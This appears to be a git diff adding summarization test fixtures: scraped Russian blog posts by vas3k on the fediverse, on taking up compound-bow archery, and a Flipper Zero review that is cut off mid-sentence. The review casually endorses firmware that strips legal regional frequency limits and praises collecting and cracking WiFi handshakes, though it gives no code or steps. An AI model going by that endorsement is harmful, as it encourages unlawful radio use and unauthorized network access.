что его читают по-другому. Твиттер давно смотрят как в телевизор — эдакое попкорн-шоу фриков, в которых надо кидаться тапками, не приходя в сознание. Это прикольно, но когда вся твоя жизнь превращается в комментирование телевизора, либо ты сам для кого-то становишься таким телевизором — пропадает всякий интерес. А тут вот пока нравится. Буду продолжать свои погружения. Может даже придумаю какой-нибудь проектик неуничтожаемого СМИ или блог-платформы, чтобы заапгрейдить Вастрик.ру ну и хоть как-то поучаствовать в прогрессе. Или подключить Клуб к ActivityPub — это уже будет охуенно. Идеи уже есть, надо только найти единомышленников и силы запилить. Ну это уже в чатике. Даже название придумал — PEERDUZA)))00 Простите. Ладно. Всем прочитавшим пост — бесплатные талоны в новый веб! 1 комментарий 2 Илья Рябов Или подключить Клуб к ActivityPub — это уже будет охуенно. Суууука, еще на описании инстансов подумал, что Клуб — такой же инстанс, по сути. Так что идея зачёт!! Войти и написать +============== diff --git a/tests/summarization/https___vas3k.blog_notes_bow_.txt b/tests/summarization/https___vas3k.blog_notes_bow_.txt new file mode 100644 index 0000000..9a2e777 --- /dev/null +++ b/tests/summarization/https___vas3k.blog_notes_bow_.txt @@ -0,0 +1,2 @@ +На день рождения мне подарили охуенную штуку и я пришел вам о ней рассказать. Вдруг вы как раз ищете себе хобби, чтобы справиться с невыносимым чувством тревоги и пустоты внутри. Кажется, все мои последние увлечения так или иначе связаны с выживанием в апокалипсисе: у нас есть Бус, чтобы давить зомби, есть пёс-наполовину-ретривер, чтобы приносить добычу (но пока в основном мячики), а теперь вот есть лук, чтобы отстреливать зомби на расстоянии. Правда, почему-то мой мир получается какой-то надуманный, как из второсортной видеоигры. Пока нормальные ребята едут выживать в тайгу на УАЗах и учат восемь способов открыть тушенку глазом, я катаюсь на велосипеде к ближайшей Ж/Дшке стрелять в поролон. Но я тупой айтишник, мне простительно. Я и правда давно хотел лук. Из всех видов стрельбы именно лук казался каким-то самым «персональным» — когда результат зависит в основном от тебя, а не от размеров или цены твоего инструмента. Сегодня расскажу вам в чем кайф. Пост посвящается моей жене Лене, которая подарила мне эту штуку, и другу Диме, под чьим чутким руководством и была произведена эта афера. Обоим летят мои обнимашки. Вы лучшие! Комментировать Войти и написать 🏹 Как устроен лук Люди изобрели луки примерно сразу как только эволюционировали из обезьян. Потому видов луков существует бесконечное множество, но для себя я условно делю их на два класса — классические и блочные. По конструкции они отличаются примерно как старый ослик отличается от мотоцикла. Если лук выглядит как палка с веревкой, а вы с ним как Леголас — это классический лук. У классики есть миллион подвидов — от традиционных деревянных до современных олимпийских, но нас сейчас это мало интересует потому что брать «классику» имеет смысл только в трёх случаях: 💰 Вы просто ищете дешевый вариант попробовать и забыть. Классические луки просты и комплект «да мне чисто пострелять» можно собрать евро за 200 (с блочными дешевле 500 не выйдет). ☎️ Вы цените тёплую ламповую тетиву, а не вот эти вот современные гаджеты. Эльфы-ролевики не стреляют из блочных луков! 🏋️‍♂️ Вы собрались на олимпийские игры (там блочные запрещены). Я был бы рад и традиционному, но ребята решили шикануть и подарили мне блочный. Пришлось разбираться. Блочный лук — это у которого на концах есть такие кругляши, между которыми натянута еще куча всяких верёвок. С ним вы выглядите не как Леголас, а как охуевший тактический Рэмбо на охоте. Вот в этих кругляшах, называемых блоками, как раз и заключается две главных фишки блочного лука: Можно быстро тюнить характеристики лука, просто поворачивая нужные винты шестигранником (а не покупая новый лук как раньше) Блоки берут на себя часть веса тетивы в натянутом состоянии (и это важно для прицеливания) Первый пункт помогает новичкам типа меня начать с «лоховских» настроек, а потом плавно докрутить до более серьезных когда освоишься. Ну и вообще почти любой параметр у блочного лука, включая прицел, настраивается за 15 секунд работы шестигранником. Мой лук в разрезе Второй же пункт, уменьшение напряжения в натянутом состоянии — тоже важный перк. Дело в том, что тетива — очень мощная штука. Даже у самого физически крепкого мужика с вашего района не всегда получится взять и с первого раза без подготовки натянуть тетиву у нормального спортивного лука. Нужна специальная техника натягивания этой хуйни всем корпусом и очень жесткие пальцы, чтобы всё это удержать, скорее всего качок просто сорвётся. ⚠️ Сразу предупрежу: лук без стрелы натягивать категорически нельзя — вы скорее всего её не удержите и произойдет «empty shot», который в 90% случаев приводит к покупке нового лука. Не давайте друзьям-качкам лук! Так вот блочный лук так устроен, что когда вы вытягиваете его на максимум — в наивысшей точке блоки берут на себя примерно ~90% созданной вами силы натяжения. То есть сначала вы страдаете, а потом бац и можете спокойно держать всю конструкцию пока целитесь — ваша бицуха скажет вам спасибо. Теперь у вас есть время для спокойного прицеливания без судорог, а потом вы сможете повторить это еще сто раз за тренировку. Без этой фичи руки забиваются уже через пару выстрелов. Даня Крастер недавно пытался собрать блочный лук сам. Не получилось. Зато там много подробностей про плетение тетивы и материалы рукояти Самый главный минус блочных луков — цена. Варианты, которые принесут вам больше радости, чем страданий, начинаются от 300-400-500 евро (в зависимости от ваших параметров). Конечно, народный Алиэкспресс может предложить пластиковые поделки за 100-200, но мне кажется взять хороший лук и продать его за 2/3 цены, когда наигрался, намного лучше, чем брать говно с Али, много страдать, сломать его и выбросить. Так вижу. Вторичка, кстати, тоже тут неплохо работает. Выбор же лука примерно похож на покупку любого экипа для спорта — профессионалы будут хором рассказывать вам про 9000 «важнейших» параметров, которые вы точно не запомните, а выбирать в итоге вы будете по двум — по своим размерам и чтобы красивенький был. Некрасивенькие вещи вообще покупать не надо. Хобби должно радовать взгляд даже если оно просто висит на стене иначе нахуй оно нужно! Луки для правшей и левшей отличаются! Easy to learn, hard to master. После пятиминутного инструктажа человек уже стабильно фигачит по мишени с 20 метров Главная проблема — смочь натянуть лук. У Лены вот не получилось даже на 45 lbs (20 кг), а это минималка для моего лука :( Если вы собрались подарить своему другу лук (пускай и за 200 евро, ладно, мы тут не снобы), узнайте хотя бы размеры его одежды. Счастливым «среднячкам», умещающимся на сиденья Ryanair и EasyJet, подойдет любой, а вот если ваш друг под два метра (как я), что придётся подбирать уже по таблицам. Рекомендованный лайфхак, чтобы не смотреть 40 часов обучающих ютюб-видео по выбору лука — найти в своем городе специальный магазин для лучников и прям ножками пойти туда донимать продавцов. Лучников в мире мало, потому там не будет толпы народа, а продавцы не будут заносчивыми снобами, как в каких-нибудь скейтерско-сноубордическо-серферских магазинах. Они с удовольствием расскажут вам теорию и дадут примерить варианты. Ну или мне так повезло просто. Если лайфхак вас не убедил и вы как любой москвич привыкли всё заказывать во Вкусвилле с доставкой за 15 минут, то расскажу еще, что для первичной настройки вашего нового лука вам всё равно придется идти в этот самый магазин. Вряд ли у вас дома есть лучный пресс и все нужные верёвочки. Так что вариантов нет. Красивенький. Тактический. Нраица! (кому интересна модель — это Bear Alaskan 2022) Комментировать Войти и написать 👮‍♀️ А оно легально? Это жи оружие! Лук — это оружие. Огне СТРЕЛЬНОЕ оружие))0))) Стрела, выпущенная из современного лука, пробивает кузов автомобиля, легко доходя до колена пассажира ? у Крастера в видосе они самодельным маломощным (всего 18 кг) блочным луком прошивают дверь старого холодильника , а при прямом попадании в человека может начать смешно высовываться с другой его стороны. Вам всё это не надо, поцаны. Многие страны прямо приравнивают луки к оружию. Если вы раните кого-то из лука — судить вас будут именно как за нанесения урона с помощью оружия (пускай и непреднамеренного). Однако, эти же страны потом отдельно выводят луки из под «закона об оружии» тем, что объявляют луки спортивным инвентарём. То есть их можно носить с собой и тренироваться с соблюдением техники безопасности. По своим странам гуглите отдельно. В Германии всё прямо как я описал: лук — оружие, но его можно носить с собой на тренировку или стрелять в безлюдных местах. В России чуть сложнее — считается сила натяжения тетивы и если она меньше 27 килограмм (или 59 lbs), то это просто спортинвентарь, как лыжи, а если больше — это оружие и хранить его можно только в тире. Мой лук можно натянуть от 45 до 65 lbs просто регулируя винты шестигранником. 🤦‍♀️ Тут как никогда видно лицемерие российских законов. Закон специально написан так, чтобы дать любому полицейскому право забрать вас для «измерения» и вы ничего не сможете ему возразить, даже если не нарушали. Так что лучше возите лук в машине. В Европе с ношением лука попроще, но обычно подразумевается его ношение в чехле, а не просто так. В некоторых странах, например в Нидерландах, накладываются дополнительные условия типа «с перевозимым луком нужно произвести минимум 3 действия, чтобы он мог выстрелить». Какие это будут действия — выдумывайте сами. В основном же по миру луки как спортинвентарь легальны и никто вас ловить не будет. Исключения есть — я знаю минимум Норвегию, Швецию и Польшу, где на лук требуется лицензия как на настоящее оружие. Не знаю почему так. О таких штуках лучше гуглить заранее перед поездкой. Вот TLDR законов по Европе, вот по штатам США. В основном все регулируют именно охоту из лука, так как это считается негуманным способом убийства, от которого животное страдает. Да и тут мнения расходятся. Например, в Германии, Великобритании, Чехии, Польше или Украине охота абсолютно запрещена, а во Франции, Италии, Испании и России, наоборот, вполне разрешена. Короче, всё очень рандомно, но охота и не является темой нашего поста вообще. 😭 Ладно-ладно, если Настоящему Мужику хочется поползать по грязи и поубивать кабанов, то и в «запрещенных» странах есть специально отведенные места, чтобы выпустить пар. 3D-тиры. В специально отведённом куске леса расставлены фигурки кабанов и львов, которые можно вдоволь «поубивать». У них отмечены летальные места попаданий, чтобы вы могли оценить убили ли вы кабана сразу или он за вами в теории бы погнался и убил сам. Развлекайтесь! Короче, носите луки в чехле, соблюдайте законы, стреляйте в безопасных местах и всё будет збс. Когда будете спортсменом — уже будет другой вопрос. Положу вам сюда запись как выглядят соревнования по блочному луку. Вдруг вам совершенно нечего делать. Обратите внимание в каких они смешных кепках и с длинными палками! Комментировать Войти и написать 💘 Стрелы Новичку нужно знать про стрелы только одно — их надо сразу купить штук 15. Стрелы для новичка — расходный материал. Любая стрела состоит из четырех частей: самой стрелы, наконечника, оперения и жопки (пластиковая штука, которой стрела цепляется на тетиву). ? Да, я реально не гуглил как они все правильно называются, так что меня щас сожрут в комментах. Самое важное — материал стрелы. Именно он больше всего влияет на полёт, а про все остальные части стрелы вы поймёте просто когда немного постреляете. Стрелы бывают: 1. Деревянные. Существуют исключительно как дань истории для фанатов-ролевиков-леголасов. Они весят тонну, гнутся от влажности и летят недалеко. Забудьте про них. 2. Стеклопластиковые. Вариант для начинающих. Продаются сразу готовыми наборами, летят нормально, можно брать и ломать как расходники. Стоят недорого — 1-2 евро за стрелу. 3. Алюминиевые. Для уверенных в себе ребят. Летят заебись, потому что легкие, но стоят дороже — 4-5 евро за штуку. Возьмите пару на пробу, чтобы ощутить разницу, оно того стоит. 4. Карбоновые. Весят еще легче алюминиевых, при схожих с ними характеристиках. Дорогие, видел тут от 6-9 евро за штуку, но вообще цена не ограничена. Главное брать фирменные, потому что на Амазоне или Алиэкспрессе вам 100% продадут крашеный стеклопластик под видом карбона. Бывают еще композитные, сплав алюминия с карбоном, например, но это самый хай-левел, их делают исключительно под человека и специальную нужду. Брать и пробовать можно всё, вопрос лишь цены. На своих первых тренировках я убивал примерно по одной стреле в день и расстаться со стеклопластиком за 1 евро было как-то морально проще, чем с карбоном за 10. Но на вид и по ощущениям карбоновые правда круче. Мои стекловолоконные буквально стесались о мишень. Всё остальное про стрелы новичкам знать пока не нужно, это вы потом уже сами для себя откроете что такое «спайн» и на что влияет её толщина. Просто идите и стреляйте. У меня есть много стеклопластиковых стрел и несколько карбоновых. Уже после 10 выстрелов со стеклоплатика начинает облезать краска. Не зря же карбон используют даже в космических кораблях :) Но так как вы явно меня не отпустите пока не узнаете зачем нужны другие штуки, давайте быстренько по ним пробежимся. Наконечники. Они бывают спортивные, охотничьи и ебанутые. Вам нужны только спортивные. Охотничьи признаны наносить максимальный урон, а мы тут пока не за этим. Под «ебанутыми» имеется в виду всё остальное — присоски, мячи, итд. Наконечники часто делают выкручиваемыми, так что вы сможете поменять их на своих стрелах если захотите. Оперение. Три пера, приклеенные к концу стрелы, как хвост ракеты или самолёта. Нужны, чтобы стабилизировать полёт. Без них стрела полетит быстро, так как меньше сопротивление воздуха, но вообще не туда, куда вы хотели. Оперение бывает: 1. Из птичьего пера. Или закоса под него. Как в старые добрые. Перо отлично стабилизирует полёт, но главным его плюсом считается то, что когда оно проходит через «полочку» — то самое место на рукоятке лука, куда вы кладёте стрелу перед выстрелом, перо легко складывается и не влияет на траекторию вылета стрелы из лука. А это может быть критически важно. К сожалению, главный минус пера — оно быстро изнашивается и теряет свои свойства. Потому это как бы люкс, но неудобно. 2. Из резины или мягкого пластика. Самый популярный вариант сегодня. Резинки очень тонкие и не изнашиваются, а если правильно стрелять — всё будет норм. Единственный замеченый мной минус — если стрелять 10-15 стрел в одну мишень, то новые стрелы иногда протыкают и рвут резинки тех стрел, что уже застряли в мишени. Но это дело техники. Для новичка единственное, что надо знать про оперение — его цвет Берите стрелы максимально-петухово-неоновых цветов, чтобы их было видно когда вы потеряете их в лесу. Про-лучники клеют оперение сами и могут изгаляться всякими там «закручиваниями», но это пока не про нас. В наших местных лучных магазинах даже алюминиевые стрелы продаются уже с оперением, вам остается только выбрать. Стрелы для новичка — расходный материал Комментировать Войти и написать 🎯 А как целиться? Для меня, как для человека, никогда не стрелявшего из лука, это всегда было главной загадкой. Вот в ружье есть прицел и мушка, которые надо совмещать. А у лука что? Короткий ответ: у лука в тетиве есть «дырочка» (peep sight), а на рукоятке такой же прицел. Если глазом совместить их вместе и направить на мишень — ты прицелился. Остальное зависит от ветра, опыта и правильной калибровки прицела. В первые тренировки вы будете постоянно калибровать прицел и пипсайт под свою стойку, пока не найдёте какое-то положение, из которого вы чаще всего попадаете. Однажды я потерял пипсайт и вставил новый — всё пришлось настраивать заново. ? да-да, на свою третью тренировку я так глубоко увлекся, что сделал тот самый empty shot без стрелы, который мог уничтожить мой лук, но я отделался только размотавшейся тетивой и вылетевшим пипсайтом Нужно совместить «дырочку» с «палочкой» и направить в цель. Палочек в прицеле несколько — чтобы стрелять на разные расстояния. Каждая настраивается отдельным винтиком Но есть и длинный ответ. Стрельба из лука существует уже тысячи лет и никаких пипсайтов и прицелов у средневековых чуваков не было. Поэтому много веков лучники стреляли как? Да просто блять как чувствуют. Потому прицеливание было ремеслом, которому учились годами, а не как мы сейчас. Учились именно жопой интуицией ощущать лук, оценивать 3D-пространство до цели и тренировать прочие навыки. Статистика таких вот «интуитивных» попаданий и считалась мастерством. На ютюбе есть даже ролики, где рассматривают десяток методов прицеливания. Даже сегодня, при наличии всех вот этих прицелов и других гаджетов, умение оценивать ветер и прочие ситуации всё еще важная часть мастерства. Лук — это не ружье, где пули летят сто тыщ километров в секунду, здесь у тебя всё еще есть стрела, которая с удовольствием полетит вбок по ветру. 2 комментария 3 Nikita Doiun Я занимался этим раньше профессионально на традиционном луке, там есть вполне себе определенная техника прицеливания, которая позволяет выпускать стрелу всегда из одного и того же положения(в этом и секрет попадания в принципе). Думаю, что для блока тоже есть. 14 Андрей Писков Поэтому много веков лучники стреляли как? Да просто блять как чувствуют. Есть очень хорошее видео, где чувак сделал кучу средневекового ресерча и научился стрелять хоть ногой (I kid you not). Не так держат, стрела не с той стороны лука и т. д. Просто все забыли, как это делать. Очень рекомендую: https://www.youtube.com/watch?v=BEG-ly9tQGk Войти и написать 🪝 Релиз — как спусковой крючок у пистолета Тетиву надо натягивать рукой, так? А там херова туча килограммов, которые по факту ложатся на фаланги ваших пальцев. Для классических луков вы еще можете купить модную кожаную перчатку с укреплёнными пальцами типа такой. Но на блочных луках всё это считается вредными пережитками прошлого. Даже новичкам рекомендуют (по крайней мере у нас в Германии) сразу брать «релиз» или «trigger» по-ненашему. Вот такая штука: Релизы тоже бывают разные, но общая механика их работы проста — вы тянете тетиву не своими мясными пальцами, а неким чаще всего металлическим крокодильчиком, у которого есть отдельный спусковой крючок. Натянули, прицелились, нажали на крючок — стрела улетела. Кайф. Без релиза вы не только сотрете до костей все пальцы, но и не будете стабильно равномерно попадать. Классические лучники, стреляющие без релиза в специальных перчатках, долго учатся механике «правильно отпускания тетивы», а нам это не надо. У нас есть гаджеты! ? хотя я сам в начале поста радовался их отсутствию, ага Новички обычно берут релиз на запястье, как у меня, так вот он еще и помогает натягивать лук, потому что с ним вы тянете всей рукой, а не только пальцами. Для работы релиза на тетиве обязательно должна быть для него петелька. Её вам сделают сразу при первичной настройке в магазине. Комментировать Войти и написать 🤑 Другие важные штуки Гаджетов для лука много, как и в любом другом спорте. Лучники постоянно спорят какие из них мешают и помогают. Кроме абсолютного минимума, рекомендую еще: Крага (защита запястья) Самая любимая ошибка новичков — ебануть себе тетивой по предплечью на выстреле. Я буквально вторым своим выстрелом саданул по руке так, что там потом две недели был синяк. Теперь вот прячу его под рукавами как жертва абьюза. Крага — это специальный плотный «рукав», который спасёт вас от этого. Теперь я надеваю его всегда. Людям с толстыми руками особенно рекомендовано. Последствия удара тетивой. Спустя сутки половина локтя стала синей (фото спустя неделю) Чехол Вам скорее всего придётся где-то носить лук, стрелы, всякие ключи-шестигранники и прочие расходники. Так что чехол рекомендован, любой, главное чтобы у него была ручка. Слинг Лук нельзя держать сжав в кулак как палку — это плохо для точности. Потому лук держат как бы врастяжку, упирая в ладонь левой руки как в камень и целясь исключительно правой (если вы правша). Некоторые даже растопыривают пальцы левой руки, чтобы уж наверняка. Так вот после выстрела такой лук может по инерции выпасть вперед. У некоторых спортсменов-олимпийцев он так и делает, повисая на верёвочке. Вот эта веревочка и есть слинг. Мне понравились слинги на запястье, их же любят охотники, потому что с ними не надо делать ничего, просто руку просунул и всё. Но есть слинги на пальцы, они для тру-олимпийцев. Слинг не обязателен, но стоит дешево и даёт уверенность, что лук не выпадет из рук после выстрела Остальные аксессуары уже на ваше усмотрение. Колчан для стрел удобен, но можно просто брать стрелы с пола. Штука для вытаскивания застрявших стрел поможет если вы засадили в деревяху, но можно и без неё. Перчатки и прочее выбирайте под свой лук — для блочного лука они не нужны, так как есть спусковой крючок, а для классики — маст хев. 2 комментария 9 Dmitry Kochkin Скриншот из первой халфы 5 Elias Nichupienko а рука-то стала не синей, а желтой, нам врали! Войти и написать ☝️ А где стрелять? У нас тут не лук из Декатлона, чтобы стрелять стрелами-присосками в жопы бегущих к холодильнику за пивом друзей. По самому натяжению тетивы вы уже поймете, что использовать такой гаджет дома или во дворе с детишками — Весьма. Плохая. Затея. Без шуток, есть вы раз в жизни сможете хотя бы растянуть лук, вы поймете, насколько это сильная и страшная хуйня. ? Всегда со стрелой! Даже если вы дома решили показать друзьям «чо могёте», лучше расстаться с 5-евровой стрелой и дырой в ламинате, чем с 500-евровым луком, когда вы его по пьяни не удержите и шмальнёте впустую Тут варианта два: Ходить в лучные клубы или тиры Купить себе мишень и найти место С клубами всё понятно — приходишь, платишь денежку, стреляешь. Хороший вариант для экстравертов. Мишень дадут, советы расскажут, иногда даже ошибки поправят. Если же вы интроверт или просто любите свободу — придется купить мишень. Мишени делаются либо из скрученных витков какой-то соломы, либо из слоёв резины/теплоизоляции или любого другого дешевого материала, который не пробьет стрела. Самый дешевый вариант мобильной мишени из скученной в жгуты соломы. Когда выпускаешь в такую стрел 10 за раз, она прикольно пахнет горелой соломой :) Самая главная проблема мишеней — они быстро изнахрачиваются. Долговечная мишень может быть только стационарной, а если вы хотите носить её с собой — готовьтесь покупать новую каждые 5-10 пострелушек. Зависит от качества мишени и от вашей личной кучности. Дешевые мишени легко носить с собой, но они быстро разбиваются в говно А вот что происходит когда чуть затянул лук посильнее. Короче, мишень надо брать посолиднее Кучная стрельба убивает мишень быстрее. Потому в тирах, например, вешают бумажки с 3-6 распечатанными мишенями, чтобы лучники не стреляли всегда в одну точку, а как-то децентрализовались. Всегда проверяйте, что ваши стрелы не проходят вашу мишень насквозь. Даже мои «лоховские» выстрелы вон заходят в неё на 50-70% стрелы, так что настоящий лучник такую дешевую мишень просто пробьет. Проблема даже не в том, что на вылете стрела кого-то заденет — за мишенью обычно либо земляной вал, либо большой забор. Самая большая боль — это вынимать потом стрелу, застрявшую в этом самом заборе. В обычную деревяху стрела спокойно входит сантиметров на 3-5 и вытащить её потом не ковыряясь полчаса будет тяжело. Нам даже однажды пришлось вкручивать саморезы в образовавшуюся щель, чтобы расширить её. 1 комментарий 3 Михаил Бубнов Очень рекомендую рассмотреть в качестве мишеней такого типа штуки это похоже на кучу тряпок и какой-то хуйни обмотанные стрейч пленкой у них есть несколько плюсов по сравнению с мишенями из веревок или пресованного чего-то она дольше убивается, стрейч всегда можно перемотать и у тебя почти новая мишень ну и из-за наполнителя проще стрелы из неё вытаскивать вот пример: http://arbaleta.net/detail/8065/ Войти и написать 🧙‍♀️ Заключение. Как оно вообще? Даже если не упарываться по спорту, лук — отличная игрушка для взрослых. Особенно если вы живете в доме и вам есть где безопасно пострелять. С огнестрельным оружием в наших краях всё сложно, мы же не в Техасе, да и лук в чём-то всё равно веселее. Нужно учитывать кучу внешних факторов, но когда стрела с 40 метров попадает в цель — это кажется даже немного магией. А еще можно стрелять на бегу, с коня, ползая по лесу с 3D-мишенями. Короче, даже стрелять по каким-нибудь апельсинкам или вращающимся на ветру мишеням оказалось весьма весело. Конечно, сразу брать лук за 500+ евро чтобы «попробовать» я бы не рекомендовал. В моём случае это был подарок и ребята, конечно, переборщили. Скорее всего когда-нибудь я снова наиграюсь и лук будет просто лежать пока ко мне кто-нибудь не придет и не скажет «пойдем постреляем». Так что заходите! Для тех, кто собирается покупать, выложу свою примерную раскладку по ценам всех комплектующих ниже. Не потому что рекомендую (я нуб и ничего не могу рекомендовать), а чисто чтобы дать хоть какой-то базис для отсчёта. Мой лук тоже далеко неидеальный: у него «бисквит», мохнатая штука, куда вставляется стрела, он хорош для охоты и быстрой перезарядки, но спортсмены его не любят и ставят специальную падающую полочку. У него короткий стабилизатор, все про-чуваки ставят в разы длиннее. У него всё еще плохо привязан пипсайт, на фотках выше некоторые могли заметить, что он вообще без веревочек, а значит может ездить по тетиве вверх-вниз, а я всё никак не могу его нормально завязать. Короче, нюансов куча. И это я только учусь. Но вообще кайфово. Приходите, дам попробовать. 2 комментария 2 _AMD_ Так и зачем та палочка, которую спортсмены юзают, как например, в видео сверху? 2 Вастрик AMD, палочка, которая вперёд торчит? Это стабилизатор, у меня на фотке в начале поста он тоже есть, просто маленький. Работает по тому же принципу, что и старый добрый ручной стабилизатор для видеокамеры — разносит и балансирует вес в точке держания, чтобы помочь тебе держать лук ровнее Войти и написать +============== diff --git a/tests/summarization/https___vas3k.blog_notes_flipperzero_.txt b/tests/summarization/https___vas3k.blog_notes_flipperzero_.txt new file mode 100644 index 0000000..0b074f0 --- /dev/null +++ b/tests/summarization/https___vas3k.blog_notes_flipperzero_.txt @@ -0,0 +1,2 @@ +Пару лет назад на Кикстартере мы всей гурьбой вложились во флипперы и с тех пор активно их ждали. И вот, на прошлой неделе мой наконец-то дошел. Его зовут L4pi0b, что рифмуется с «долбоеб», мне нравится. В 2020 году, который, кажется, был вечность назад, Павел Жовнер с командой неплохо пошатали интернеты своим проектом Flipper Zero — карманного мультитула для хакеров. Тогда, вместо запрошенных $60k на разработку, ребята собрали почти $5 миллионов, после чего знатно охуели и решили делать всё по-взрослому — с личным ламборгини компанией в Делавере и массовым производством в Китае. Все шаги они весело, подробно и с картинками документировали в своём блоге, как и положено правильному хакерскому проекту. Вообще, в 2020-м я поддерживал Флиппер на Кикстартере как раз потому что это был редкий по сегодняшним меркам проект выходцев из хакспейса, который дошел до стадии настоящего производства. Мне даже было пофиг получу ли я готовый девайс, я хотел поддержать идею, процесс и вообще дух хакспейсов. Всегда так делаю и вам рекомендую. Инвестировать в людей с идеями — это добро. Павел рассказывал, что идея Флиппера родилась когда он игрался с системами контроля доступа — чтением карточек «Тройка», ключей от домофонов, копировании RFID, и прочего. Они у себя в хакспейсе «Нейрон» (ныне закрытом) собрали свою собственную систему, которая пускала людей внутрь хоть по «Тройке» хоть по Apple Pay. В детстве я и сам увлекался всякими универсальными ключами от домофонов, чтобы проникать на крыши и делать с них фотки, и пытался взломать интернет, насвистывая тональности модема в телефон свистком из чупа-чупса. Сейчас, конечно, бурная молодость прошла, зато я наконец-то и сам могу поддерживать тех, у кого она идёт полным ходом! Не только же на игры в стиме деньги тратить. Комментировать Войти и написать 🐳 Флиппер снаружи Анбоксингов флиппера на ютюбе уже целая гора, так что просто покажу всё как есть. Я взял белый, мне почему-то в этом цвете он нравился больше. Кофе и отвертка в комплект не входят. Переходник на USB-C и SD-карта тоже, это я сам уже нашел Самое первое впечатление — а эта штука тяжелее, чем кажется. Будучи размером с толстую зажигалку, Флиппер весит больше 100 грамм. Об этом Павел тоже уже шутил, что им предлагали сделать углубления под пальцы, чтобы отбиваться как кастетом. Или откидной ножик встроить. Ну, на случай, когда твой хакинг пошел не по плану. Второе — он на удивление добротно собран для инди-проекта. Не люфтит, не скрипит, кнопки правильно кликают. Я не знаю как команда Флиппера находит себе таких перфекционистов в дизайне хардвара, но у них явно получается. ? софт, как обычно, работает на порядок хуже и багованнее, но это наша общая болезнь индустрии А уж как круто отрисована стилистика самого дельфина, пиксель-арт и вся история вокруг него — тут я точно хочу знать секрет. Когда алиэкспресс завалят китайские подделки, уверен, у китайцев даже близко не получится повторить сборку. В остальном, снаружи доебаться не до чего. Пойдем смотреть что внутри. 1 комментарий 2 Vladislav Onishchenko Про хардверную часть Паша рассказывал в Запуск Завтра: https://www.youtube.com/watch?v=S0X1_XF5WOs (но могу и ошибаться) Войти и написать 🎛 Флиппер внутри По фичам отсыпали как и обещали. Ребята публиковали подробнейшие спеки и даже схемы хардвара на протяжении всех двух лет разработки. В комплекте есть: ИК-порт, чтобы выключать телевизоры в Макдональдсе USB-C для зарядки и обновлений, а так же запуска BadUSB-скриптов Читалка и писалка ключей от домофонов, довольно прикольно задизайненая Набор GPIO пинов для программирования и подключения сторонних плат расширения NFC/RFID, чтобы читать всякие карточки Радио-антенна, чтобы читать и посылать радиосигналы, например открывать Теслам лючки зарядки (будет ниже) Блютус, но я пока не нашел для чего он мог бы пригодиться Неочевидные плюшки: спикер-пищалка как на старых нокиях, под который даже можно писать мелодии, и вибромоторчик, применения которому я пока не придумал Батарейка на 2000 mAh, которая держит неделю Ребята прикольно постарались сделать так, чтобы экран Флиппера никогда не выключался (только подсветка) — как у настоящего тамагочи. Он лежит на столе и там постоянно сидит дельфинчик. Картинка с офсайта flipperzero.one Управляет всем этим добром маленький STM32-микроконтроллер, под который написана своя операционка. По сути это Arduino, оно даже совместимо с Arduino IDE. Теперь по больному: у флиппера нет WiFi Скорее всего его просто невозможно было хорошо туда засунуть, не убив энергопотребление и не раздув размеры корпуса до неприятных. Вроде как скоро будет WiFi-модуль аддоном, вставляющийся сверху в GPIO-пины, но это, конечно, не то. Как по мне, будь у Флиппера WiFi, идею с «тамагочи» можно было бы повернуть прям на порядок круче. Например, для Pi Zero есть проект Pwnagotchi (которым явно где-то под капотом вдохновлялись), у которого одна из главных идей геймификации состоит в том, что ты должен «кормить» своего тамагочи новыми WiFi-сетями. Ходишь по городу, собираешь хендшейки, а потом дома он автоматически пытается их для тебя взломать. Такого тамагочи правда хочется носить с собой по улицам и кормить хендшейками, не только потому что он иначе грустит и жалуется, а еще и потому что бонусом он приносит тебе карту взломанных WiFi сетей с паролями. Кайф же. Думаю, команде Флиппера (или вам, читающие меня инди-хацкеры) можно подумать об отдельной версии Flipper WiFi, из которой можно спокойно выпилить всё остальное, но усилить геймификацию с «кормёжкой» дельфина. Сейчас же тамагочи-функции Флиппера весьма скудны и сделаны скорее как дань истории — ведь идея Флиппера началась когда Павел припаял радио-антенну к обычному тамагочи. Функции, сразу доступные в стоковой прошивке У дельфина есть имя, настроение и левел, который можно качать якобы используя разные функции Флиппера в бою. Это крутая идея для онбординга и мотивации новичков, но понять как она работает сейчас решительно невозможно. А вот именно мультитуловые функции Флиппера работают отлично. Только для полноценного хакинга нужно сначала погрузиться в мир алтернативных прошивок. Главный экран с дельфинчиком и навигация с него 3 комментария 1 Egor Tolstoy Блютус, но я пока не нашел для чего он мог бы пригодиться Так подключаться к bluetooth-адаптерам беспроводных мышек, я видел плагин, который такие уязвимости эксплуатирует! 2 psydvl Очепятка: алтернативных -> альтернативных 2 Андрей Сухарев Egor Tolstoy, ещё через блютуз флиппер подключается к телефону, можно скачать приложение и управлять флиппером удалённо, скачивать словари, обновляться по воздуху (если это допилили) и ещё много чего делать Войти и написать 🔫 Об альтернативных прошивках, законности и опенсорсе Когда выпускаешь «хакерский» девайс на массовый рынок, естественно, встаёт вопрос регуляций, сертификации и законности использования частот в разных странах. Как можно догадаться, это полнейший цирк и зоопарк. Не знаю каким чудом ребятам удалось разобраться во всех необходимых сертификациях и получить комплаенс для импорта почти во все страны мира. Без потерь не обошлось. В разных странах Флипперу пришлось программно зарезать некоторые частоты — в США запрещены одни, в ЕС другие, в России третьи. Это хуёво, зато флипперы тогда можно продавать легально. Хорошая же новость в том, что на гитхабе лежит целый набор «альтернативных» прошивок, где все эти ограничения удобно нахрен выпилены. Большинство рекомендует Flipper Unleashed (вот список других). Приложенька для обновления Флиппера (в том числе и на сторонние прошивки) весьма простая и позволяет делать всё за пару кликов, а не как обычно с sudo dd if=... of=... По сути это форк официальной прошивки с дополнительными приложениями типа баркод генератора, играми типа танчиков и 2048, ну и возможностью, скажем так, гибко настроить региональные ограничения частот. Слава опенсорсу. Теперь нас всех точно найдут и посадят. Флиппер явно будет делать большую ставку именно на софт и плагины от коммьюнити в будущем. Стоковая же прошивка будет чистой для регуляторов, чтобы те не придирались к самим разработчикам. К сожалению, документация пока крайне скудна, некоторые разделы недописаны, а доков по операционной системе Флиппера (а она там совсем своя кастомная) мне найти не удалось. Так что есть теория, что доступный на данный момент софт пишут в основном «свои». Писать всё надо на чистом С, так что без хороших примеров и документации заонбордить новичков будет тяжело. Хотя у меня уже появилась пара идей для приложений — генератор TOTP паролей с автоматический вставкой их через BadUSB (aka Yubikey) и хранилище ключей от крипты (aka Ledger). Но чую я пока не найду в себе силы разбираться с местным С. Вот бы подкатить туда транспайлер питончика :3 upd от февраля 2023 года: Ранее в статье рекомендовалась прошивка от RogueMaster, но её автор ебанулся и стал делать 